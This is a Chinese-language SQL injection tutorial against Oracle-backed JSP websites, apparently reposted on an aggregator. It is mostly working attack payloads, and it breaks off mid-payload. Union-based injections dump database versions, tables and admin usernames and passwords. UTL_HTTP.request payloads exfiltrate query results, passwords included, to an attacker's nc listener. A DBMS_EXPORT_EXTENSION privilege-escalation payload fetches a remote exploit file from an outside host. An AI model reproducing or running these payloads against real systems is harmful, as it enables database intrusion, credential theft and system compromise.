oracle网站注入,oracle注入,utl_http方法
大家都知道oracle比較大,11g的安裝程序大約在1.4g左右,可能大家遇到oracle的庫比較少,oracle+jsp的搭配的比較好... oracle系統庫默認的用戶有sys,system,internal,scott,前三個權限都是system權限.. 先說下數據庫的注釋:access支持null和注釋; mssql支持--和;的注視;mysql支持/*的支持;oracle支持--的注視 這里也許大家說了如果mssql過濾了;注視,該怎么區別oracle和mssql數據庫呢,如果是oracle的庫,一旦出錯的話,很多時候就會出現oracle.odbc等之類的存儲過程出錯的語句,也可以通過; and user()>0來判斷mssql,從而排除oracle的庫 現在來說注入: 第一種方法使用dual系統表 一、判斷注入數字型:and 1=1 and 1=0 字符型: and 1=1 and 1=0 搜索型: xx% and 1=1 and %= xx% and 1=2 and %=(xx必須是在頁面中存在的字符串) 文本型:url+返回正常 url"+asdfg返回出錯(asdfg是隨便輸入的字符串) 二、長度判斷你可以選擇union select null,null,null.....(用null,null,null而沒有用1,2,3是為了避免類型的問題,當確定下來后可以逐個來替換類型,oracle是不會自動匹配類型滴) order by 我感覺比較省事,我一般都是order by 三、判斷dual表是不是存在(這篇文章是針對dual表存在的情況進行注入的,如果不存在的話,工具要是跑不來的話就是體力活了) url and exist (select * from dual) 四、進行注入假設:www.abc.com/abc.jsp?id=1存在注入,而且有7個字段而且都是整型,索引值是在2處 1.判斷oracle版本 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,4,5,6,7 from dual 2.判斷當前連接用戶 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select sys_context(userenv,current_user from dual)),3,4,5,6,7 from dual 3.爆表 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比較多,所以長度有要求,有些時候可能因為長度不夠有些表沒有顯示出來,假設上面爆出來的有admin表 4.爆字段 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,column_name,3,4,5,6,7 from cols where table_name=admin(假設是username和password) 5.爆字段內容 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,username,3,4,5,6,7 from admin www.abc.com/abc.jsp?id=1 and 1=2 union select 1,password,3,4,5,6,7 from admin 當然也可以使用concat(),每個人的習慣不一樣罷了
第二種方法配合utl_http存儲過程 如果想檢測一下UTL_HTTP包是否存在可以使用語句" select count(*) from all_objects where object_name=UTL_HTTP "來判斷。OK既然是反回信息我們先在本地用NC監聽,然后使用"and UTL_HTTP.request(http://IP:2009/||(查詢語句))=1--"這樣的形式。 本地先 nc -l -vv -p 2009,然后提交"and UTL_HTTP.request(http://IP:2009/||(select banner from sys.v_$version where rownum=1))=1--" 成功返回數據庫的版本。現在我們就來一點一點的爆。先爆庫,再爆表,再爆字段(上文字段已經把字段確定出來了是USERNAME和PASSWORD),最后爆字段值。現在我們就來爆庫,提交 "and UTL_HTTP.request(http://ip:2009/||(select owner from all_tables where rownum=1))=1--" 假設爆出第一個庫的名字為SYS。繼續爆第二個庫名,提交 "and UTL_HTTP.request(http://IP:2009/||(select owner from all_tables where owner<>SYS and rownum=1))=1--"以此類推,爆出所有的庫 爆表語句如下 提交"and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1))=1--" SYS庫中第一個表為xxx。繼續提交 "and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1 and TABLE_NAME<>xxx))=1--" 以此類推爆出SYS庫中所有的表;如果需要爆表里有多少個列可以用 "and UTL_HTTP.request(http://IP:2009/||(select count(*) from user_tab_columns where table_name=表名))=1--" 或者想要爆第一個列名可以使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1))=1--" 爆第二個列名使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1 and COLUMN_NAME<>第一個爆出的列名))=1--" 以此類推就可以爆出所有的列名。現在我們繼續爆用戶和密碼,提交 "and UTL_HTTP.request(http://IP:2009/||(select 字段名1 from TBL_USER_MANAGER_BASE where rownum=1))=1--" 爆密碼提交 "and UTL_HTTP.request (http://IP:2009/||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1))=1--" 首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函數,我們可以通過web注射直接獲得系統權限,呵呵,非常誘人吧!我們先來看看這個函數的利用。如下。 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);[多語句]END;--,SYS,0,1,0) 多語句里寫上我們的exploit,但是這樣會造成我們構造的語句非常龐大,所以這里我們可以使用utl_http.request來獲取我們放在遠程及其上的exploit。到這里我們的語句就構造完了。 "and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1); utl_http.request (http://www.li-tek.com/1.txt) END;--,SYS,0,1,0)=0--" 但是提交后返回該頁無法顯示。換成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)
總結
以上是生活随笔為你收集整理的oracle网站注入,oracle注入,utl_http方法的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 租房一般多少钱啊?
- 下一篇: 明清肖像画是谁画的呢?